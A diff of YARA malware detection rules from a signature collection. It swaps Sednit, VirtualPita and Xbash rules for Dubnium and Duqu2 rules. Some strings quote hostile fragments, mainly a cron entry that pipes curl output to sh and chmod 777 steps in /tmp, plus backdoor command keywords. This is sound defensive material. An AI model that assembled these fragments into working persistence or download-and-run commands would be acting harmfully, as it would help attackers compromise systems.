+		$x1 = ":*:::D:\\:c:~:" fullword ascii
+		$s2 = "SPMUVR" fullword ascii
 
 	condition:
-		filesize <4000KB and 1 of ($s*) and not 1 of ($fp*)
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-rule SIGNATURE_BASE_MAL_Sednit_Delphidownloader_Apr18_3 : FILE
+rule SIGNATURE_BASE_Dubnium_Sample_3 : FILE
 {
 	meta:
-		description = "Detects malware from Sednit Delphi Downloader report"
+		description = "Detects sample mentioned in the Dubnium Report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2200fbdc-3600-51d4-a273-dc7fd4127c05"
-		date = "2018-04-24"
-		modified = "2023-01-06"
-		reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sednit_delphidownloader.yar#L40-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "20446692842ec9481f34dd976f6b309515c33159653f9988a59335d2f04e4138"
+		id = "66f66139-88df-5ba9-a3fc-ba4fc98ce3f9"
+		date = "2016-06-10"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/AW9Cuu"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dubnium.yar#L42-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "851efb71cd80040fdd13d9961d1e0084421c783afc43417ff1ac3ed023a73ae1"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "ecb835d03060db1ea3496ceca2d79d7c4c6c671c9907e0b0e73bf8d3371fa931"
-		hash2 = "e355a327479dcc4e71a38f70450af02411125c5f101ba262e8df99f9f0fef7b6"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8"
+		hash2 = "e0362d319a8d0e13eda782a0d8da960dd96043e6cc3500faeae521d1747576e5"
+		hash3 = "a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827"
 
 	strings:
-		$ = "Processor Level: " fullword ascii
-		$ = "CONNECTION ERROR" fullword ascii
-		$ = "FILE_EXECUTE_AND_KILL_MYSELF" ascii
-		$ = "-KILL_PROCESS-" ascii
-		$ = "-FILE_EXECUTE-" ascii
-		$ = "-DOWNLOAD_ERROR-" ascii
-		$ = "CMD_EXECUTE" fullword ascii
-		$ = "\\Interface\\Office\\{31E12FE8-937F-1E32-871D-B1C9AOEF4D4}\\" ascii
-		$ = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
+		$x1 = "copy /y \"%s\" \"%s\" " fullword ascii
+		$x2 = "del /f \"%s\" " fullword ascii
+		$s1 = "del /f /ah \"%s\" " fullword ascii
+		$s2 = "if exist \"%s\" goto Rept " fullword ascii
+		$s3 = "\\*.*.lnk" ascii
+		$s4 = "Dropped" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 3 of them
+		uint16(0)==0x5a4d and filesize <2000KB and 5 of them
 }
-rule SIGNATURE_BASE_M_APT_VIRTUALPITA_1 : FILE
+rule SIGNATURE_BASE_Dubnium_Sample_5 : FILE
 {
 	meta:
-		description = "Finds opcodes to set a port to bind on 2233, encompassing the setsockopt(), htons(), and bind() from 40973d to 409791 in fe34b7c071d96dac498b72a4a07cb246 (may produce some FPs - comment by Florian Roth)"
-		author = "Mandiant"
-		id = "bdfbe29a-f7db-50d9-a909-d4ca96cc0731"
-		date = "2023-11-25"
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "09c1aeee-9437-54e9-967f-3c2fcc0736ed"
+		date = "2016-06-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc3886_virtualpita.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fe34b7c071d96dac498b72a4a07cb246"
-		logic_hash = "7641f964cc4a7671a9a3438aad1c653ef3fda3887313846cbe838b275a098190"
-		score = 60
-		quality = 45
+		reference = "https://goo.gl/AW9Cuu"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dubnium.yar#L64-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f84f502ba9a4fe304851badfa98d9e8500cdef472d4358cfd327365ac04dda3"
+		score = 75
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		hash7 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash8 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash9 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
 
 	strings:
-		$x = {8b ?? ?? 4? b8 04 00 00 00 [0 - 4] ba 02 00 00 00 be 01 00 00 00 [0 - 2] e8 ?? ?? ?? ?? 89 4? ?? 83 7? ?? 00 79 [0 - 50] ba 10 00 00 00 [0 - 10] e8}
+		$s1 = "$innn[i$[i$^i[e[mdi[m$jf1Wehn[^Whl[^iin_hf$11mahZijnjbi[^[W[f1n$dej$[hn]1[W1ni1l[ic1j[mZjchl$$^he[[j[a[1_iWc[e[" fullword ascii
+		$s2 = "h$YWdh[$ij7^e$n[[_[h[i[[[\\][1$1[[j1W1[1cjm1[$[k1ZW_$$ncn[[Inbnnc[I9enanid[fZCX" fullword ascii
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		uint16(0)==0x5a4d and filesize <9000KB and all of them
 }
-rule SIGNATURE_BASE_M_APT_VIRTUALPITA_2 : FILE
+rule SIGNATURE_BASE_Dubnium_Sample_6 : FILE
 {
 	meta:
-		description = "Finds opcodes to decode and parse the recieved data in the socket buffer in fe34b7c071d96dac498b72a4a07cb246.  Opcodes from 401a36 to 401adc"
-		author = "Mandiant"
-		id = "6a59cc54-e1a0-594f-9efb-af63d5c05259"
-		date = "2023-12-05"
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "43366f1a-784d-515e-a8e9-3e924f2abfd8"
+		date = "2016-06-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc3886_virtualpita.yar#L17-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fe34b7c071d96dac498b72a4a07cb246"
-		logic_hash = "56a3e1b13f0955a780f882e62003f721e409a1fdf61120dd295941605dbf21a4"
+		reference = "https://goo.gl/AW9Cuu"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dubnium.yar#L89-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3425734b3259ebd5390cf16d2e394a4cc735dc3fc9fcc627b46bcc77729e465e"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash2 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash3 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
 
 	strings:
-		$x = {85 c0 74 ?? c7 05 ?? ?? ?? ?? fb ff ff ff c7 8? ?? ?? ?? ?? 00 00 00 00 e9 ?? ?? ?? ?? 4? 8b 05 ?? ?? ?? ?? 4? 83 c0 01 4? 89 05 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 e9 ?? ?? ?? ?? 8b 4? ?? 4? 98 4? 8d 9? ?? ?? ?? ?? 4? 8d ?? e0 4? 8b 0? 4? 89 0? 4? 8b 4? ?? 4? 89 4? ?? 8b 4? ?? 4? 98 4? 8d b? ?? ?? ?? ?? b? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 4? ?? 00 00 00 00 eb ?? 8b 4? ?? 8b 4? ?? 01 c1 8b 4? ?? 03 4? ?? 4? 98 0f b6 9? ?? ?? ?? ?? 8b 4? ?? 4? 98 0f b6 8? ?? ?? ?? ?? 31 c2 4? 63 c1 88 9? ?? ?? ?? ?? 83 4? ?? 01}
+		$s1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&()`~-_=+[{]{;',." fullword ascii
+		$s2 = "e_$0[bW\\RZY\\jb\\ZY[nimiRc[jRZ]" fullword ascii
+		$s3 = "f_RIdJ0W9RFb[$Fbc9[k_?Wn" fullword ascii
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		uint16(0)==0x5a4d and filesize <4000KB and all of them
 }
-rule SIGNATURE_BASE_M_APT_VIRTUALPITA_3 : FILE
+rule SIGNATURE_BASE_Dubnium_Sample_7 : FILE
 {
 	meta:
-		description = "Finds opcodes from 409dd8 to 409e46 in fe34b7c071d96dac498b72a4a07cb246 to set the HISTFILE environment variable to 'F' with a putenv() after loading each character individually."
-		author = "Mandiant"
-		id = "29ea2db0-4ab2-5e9c-8d42-7590ceabf99a"
-		date = "2023-12-05"
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6712bd5f-6bbc-5ca0-9fc7-b2013b8f8147"
+		date = "2016-06-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc3886_virtualpita.yar#L30-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fe34b7c071d96dac498b72a4a07cb246"
-		logic_hash = "6f44d516b3cbe54542ae0991aad49274fc4728570e9498b319fc98840ceb7d7d"
+		reference = "https://goo.gl/AW9Cuu"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dubnium.yar#L109-L131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76cf4acee025fcae1dec975a124f4bf808f1f09f99f7fa6a4e965febd6a89e3a"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash7 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash8 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
 
 	strings:
-		$x = {4? 8b 4? ?? c6 00 48 4? 8b 4? ?? 4? 83 c0 05 c6 00 49 4? 8b 4? ?? 4? 83 c0 01 c6 00 49 4? 8b 4? ?? 4? 83 c0 06 c6 00 4c 4? 8b 4? ?? 4? 83 c0 02 c6 00 53 4? 8b 4? ?? 4? 83 c0 07 c6 00 45 4? 8b 4? ?? 4? 83 c0 03 c6 00 54 4? 8b 4? ?? 4? 83 c0 08 c6 00 3d 4? 8b 4? ?? 4? 83 c0 04 c6 00 46 4? 8b 4? ?? 4? 83 c0 09 c6 00 00 4? 8b 7? ?? e8}
+		$s1 = "hWI[$lZ![nJ_[[lk[8Ihlo8ZiIl[[[$Ynk[f_8[88WWWJW[YWnl$$Z[ilf!$IZ$!W>Wl![W!k!$l!WoW8$nj8![8n_I^$[>_n[ZY[[Xhn_c!nnfK[!Z" fullword ascii
+		$s2 = "[i_^])[$n!]Wj^,h[,!WZmk^o$dZ[h[e!&W!l[$nd[d&)^Z\\^[[iWh][[[jPYO[g$$e&n\\,Wfg$[<g$[[ninn:j!!)Wk[nj[[o!!Y" fullword ascii
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		uint16(0)==0x5a4d and filesize <9000KB and all of them
 }
-rule SIGNATURE_BASE_M_APT_VIRTUALPITA_4 : FILE
+rule SIGNATURE_BASE_Dubnium_Sample_Sshopenssl : FILE
 {
 	meta:
-		description = "Finds opcodes from 401f1c to 401f4f in fe34b7c071d96dac498b72a4a07cb246 to decode text with multiple XORs"
-		author = "Mandiant"
-		id = "58d4db75-fcd5-50c2-93ba-a8a4718ac0f6"
-		date = "2023-12-05"
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d4f2b494-47b6-5b8e-b358-30159dfb977b"
+		date = "2016-06-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc3886_virtualpita.yar#L43-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fe34b7c071d96dac498b72a4a07cb246"
-		logic_hash = "aaf2ff682c619d2a254fe069d477654a161658db6315239f1b956141b6a72c01"
+		reference = "https://goo.gl/AW9Cuu"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dubnium.yar#L133-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5cad6b0785e8c9627f1b9678dc6206cf36cd33ead2283f77655fdb0ea36249e9"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash5 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash6 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
 
 	strings:
-		$x = {4? 8b 4? ?? 4? 83 c1 30 4? 8b 4? ?? 4? 8b 10 8b 4? ?? 4? 98 4? 8b 04 ?? ?? ?? ?? ?? 4? 31 c2 4? 8b 4? ?? 4? 83 c0 28 4? 8b 00 4? c1 e8 10 0f b6 c0 4? 98 4? 8b 04}
+		$s1 = "sshkeypairgen.exe" fullword wide
+		$s2 = "OpenSSL: FATAL" fullword ascii
 
 	condition:
-		uint32(0)==0x464c457f and all of them
+		uint16(0)==0x5a4d and filesize <9000KB and all of them
 }
-rule SIGNATURE_BASE_M_Hunting_Python_Backdoor_Commandparser_1 : FILE
+rule SIGNATURE_BASE_APT_Apt_Duqu2_Loaders : FILE
 {
 	meta:
-		description = "Finds strings indicative of the vmsyslog.py python backdoor."
-		author = "Mandiant"
-		id = "15cbca01-24e6-5538-bcfd-c3222337aaf5"
-		date = "2023-12-05"
+		description = "Rule to detect Duqu 2.0 samples"
+		author = "Kaspersky Lab"
+		id = "22db52c2-18e7-537e-a9c5-38ccfd3a0d30"
+		date = "2015-06-09"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc3886_virtualpita.yar#L57-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "61ab3f6401d60ec36cd3ac980a8deb75"
-		logic_hash = "eefc255079e914ac81d53baf4ae159052bfda4c670e8300306c0899b3ad00a48"
-		score = 50
-		quality = 85
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_kaspersky_duqu2.yar#L10-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79f205745e61b55c43c239d9da9086fd72312ea2741351183d32f7c227174ff8"
+		score = 75
+		quality = 83
 		tags = "FILE"
+		version = "1.0"
 
 	strings:
-		$key1 = "self.conn.readInt8()" ascii
-		$key2 = "upload" ascii
-		$key3 = "download" ascii
-		$key4 = "shell" ascii
-		$key5 = "execute" ascii
-		$re1 = /def\srun.{,20}command\s?=\s?self\.conn\.readInt8\(\).{,75}upload.{,75}download.{,75}shell.{,75}execute/s
+		$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
+		$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
+		$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
+		$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
+		$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
+		$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
+		$b1 = "MSI.dll"
+		$b2 = "msi.dll"
+		$b3 = "StartAction"
+		$c1 = "msisvc_32@" wide
+		$c2 = "PROP=" wide
+		$c3 = "-Embedding" wide
+		$c4 = "S:(ML;;NW;;;LW)" wide
+		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
+		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}
 
 	condition:
-		filesize <200KB and all of them
+		(( uint16(0)==0x5a4d) and (( any of ($a*)) or ( all of ($b*)) or ( all of ($c*))) and filesize <100000) or (( uint32(0)==0xe011cfd0) and (( any of ($a*)) or ( all of ($b*)) or ( all of ($c*)) or ( any of ($d*))) and filesize <20000000)
 }
-rule SIGNATURE_BASE_MAL_Xbash_PY_Sep18 : FILE
+rule SIGNATURE_BASE_APT_Apt_Duqu2_Drivers : FILE
 {
 	meta:
-		description = "Detects Xbash malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "97512fe8-002f-5cbc-a915-d55c087fbef7"
-		date = "2018-09-18"
+		description = "Rule to detect Duqu 2.0 drivers"
+		author = "Kaspersky Lab"
+		id = "714d5151-9f80-582e-a628-1de9d83a072d"
+		date = "2015-06-09"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_xbash.yar#L13-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d686c42e6bf440507735f846463f2df5fbf4f7bd5f5656883655a5278a1fc252"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_kaspersky_duqu2.yar#L40-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "023a51408f86814a8f810d0f89b185aca07dd60a1abb6de47f86ad8eeda4c4c4"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7a18c7bdf0c504832c8552766dcfe0ba33dd5493daa3d9dbe9c985c1ce36e5aa"
+		version = "1.0"
 
 	strings:
-		$s1 = { 73 58 62 61 73 68 00 00 00 00 00 00 00 00 }
+		$a1 = "\\DosDevices\\port_optimizer" wide nocase
+		$a2 = "romanian.antihacker"
+		$a3 = "PortOptimizerTermSrv" wide
+		$a4 = "ugly.gorilla1"
+		$b1 = "NdisIMCopySendCompletePerPacketInfo"
+		$b2 = "NdisReEnumerateProtocolBindings"
+		$b3 = "NdisOpenProtocolConfiguration"
 
 	condition:
-		uint16(0)==0x457f and filesize <10000KB and 1 of them
+		uint16(0)==0x5A4D and ( any of ($a*)) and (2 of ($b*)) and filesize <100000
 }
-rule SIGNATURE_BASE_MAL_Xbash_SH_Sep18 : FILE
+rule SIGNATURE_BASE_Duqu2_Generic1 : FILE
 {
 	meta:
-		description = "Detects Xbash malware"
+		description = "Kaspersky APT Report - Duqu2 Sample - Generic Rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "450ef15f-fe9c-5809-9077-457a43326bfe"
-		date = "2018-09-18"
-		modified = "2023-01-06"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_xbash.yar#L27-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b48cbd64002025d861e2fd381be5a68efd7f6fc5fd239850c940f887e2b01673"
+		id = "0e03eda5-d65b-5400-aceb-bc37559d9a6e"
+		date = "2015-06-10"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/7yKyOj"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_kaspersky_duqu2.yar#L61-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "742934198391bd30da654bf8efedc2a18c58dd0de357b2bcdbdbe8066187b0c2"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "a27acc07844bb751ac33f5df569fd949d8b61dba26eb5447482d90243fc739af"
-		hash2 = "de63ce4a42f06a5903b9daa62b67fcfbdeca05beb574f966370a6ae7fd21190d"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "3f9168facb13429105a749d35569d1e91465d313"
+		hash1 = "0a574234615fb2382d85cd6d1a250d6c437afecc"
+		hash2 = "38447ed1d5e3454fe17699f86c0039f30cc64cde"
+		hash3 = "5282d073ee1b3f6ce32222ccc2f6066e2ca9c172"
+		hash4 = "edfca3f0196788f7fde22bd92a8817a957c10c52"
+		hash5 = "6a4ffa6ca4d6fde8a30b6c8739785f4bd2b5c415"
+		hash6 = "00170bf9983e70e8dd4f7afe3a92ce1d12664467"
+		hash7 = "32f8689fd18c723339414618817edec6239b18f3"
+		hash8 = "f860acec9920bc009a1ad5991f3d5871c2613672"
+		hash9 = "413ba509e41c526373f991d1244bc7c7637d3e13"
+		hash10 = "29cd99a9b6d11a09615b3f9ef63f1f3cffe7ead8"
+		hash11 = "dfe1cb775719b529138e054e7246717304db00b1"
 
 	strings:
-		$s1 = "echo \"*/5 * * * * curl -fsSL" fullword ascii
-		$s2 = ".sh|sh\" > /var/spool/cron/root" ascii
-		$s3 = "#chmod +x /tmp/hawk" fullword ascii
-		$s4 = "if [ ! -f \"/tmp/root.sh\" ]" fullword ascii
-		$s5 = ".sh > /tmp/lower.sh" ascii
-		$s6 = "chmod 777 /tmp/root.sh" fullword ascii
-		$s7 = "-P /tmp && chmod +x /tmp/pools.txt" fullword ascii
-		$s8 = "-C /tmp/pools.txt>/dev/null 2>&1" ascii
+		$s0 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" fullword wide
+		$s1 = "SetSecurityDescriptorSacl" fullword ascii
+		$s2 = "msisvc_32@" fullword wide
+		$s3 = "CompareStringA" fullword ascii
+		$s4 = "GetCommandLineW" fullword ascii
 
 	condition:
-		uint16(0)==0x2123 and filesize <3KB and 1 of them
+		uint16(0)==0x5a4d and filesize <150KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Xbash_JS_Sep18 : FILE
+rule SIGNATURE_BASE_APT_Kaspersky_Duqu2_Procexp : FILE
 {
 	meta:
-		description = "Detects XBash malware"
+		description = "Kaspersky APT Report - Duqu2 Sample - Malicious MSI"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e891d146-f92d-5144-a1f2-ad308e309870"
-		date = "2018-09-18"
-		modified = "2023-01-06"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_xbash.yar#L50-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cf2f9006e0ab07f6ff1a0ce4946af34468f7c74143c853c5d77c6db725bb590a"
+		id = "d7fd48d5-2416-5eff-a751-ece09ce27767"
+		date = "2015-06-10"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/7yKyOj"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_kaspersky_duqu2.yar#L92-L114"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd63f0eebc88fa0737905f20dc30dc968df81b7976a86ed8ed5646f7708c4b4a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "f888dda9ca1876eba12ffb55a7a993bd1f5a622a30045a675da4955ede3e4cb8"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2422835716066b6bcecb045ddd4f1fbc9486667a"
+		hash2 = "b120620b5d82b05fee2c2153ceaf305807fa9f79"
+		hash3 = "288ebfe21a71f83b5575dfcc92242579fb13910d"
 
 	strings:
-		$s1 = "var path=WSHShell" fullword ascii
-		$s2 = "var myObject= new ActiveXObject(" ascii
-		$s3 = "window.resizeTo(0,0)" fullword ascii
-		$s4 = "<script language=\"JScript\">" fullword ascii
+		$x1 = "svcmsi_32.dll" fullword wide
+		$x2 = "msi3_32.dll" fullword wide
+		$x3 = "msi4_32.dll" fullword wide
+		$x4 = "MSI.dll" fullword ascii
+		$s1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "Sysinternals installer" fullword wide
+		$s3 = "Process Explorer" fullword wide
 
 	condition:
-		filesize <5KB and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*)) and ( all of ($s*))
 }
-rule SIGNATURE_BASE_Tools_Cmd : FILE
+rule SIGNATURE_BASE_APT_Kaspersky_Duqu2_Samsungprint : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file cmd.jSp"
+		description = "Kaspersky APT Report - Duqu2 Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "27c3cb44-9351-52a2-8e14-afade14e3384"
-		date = "2015-06-13"
+		id = "cc4bc00e-f38b-577f-8f00-637c0549894c"
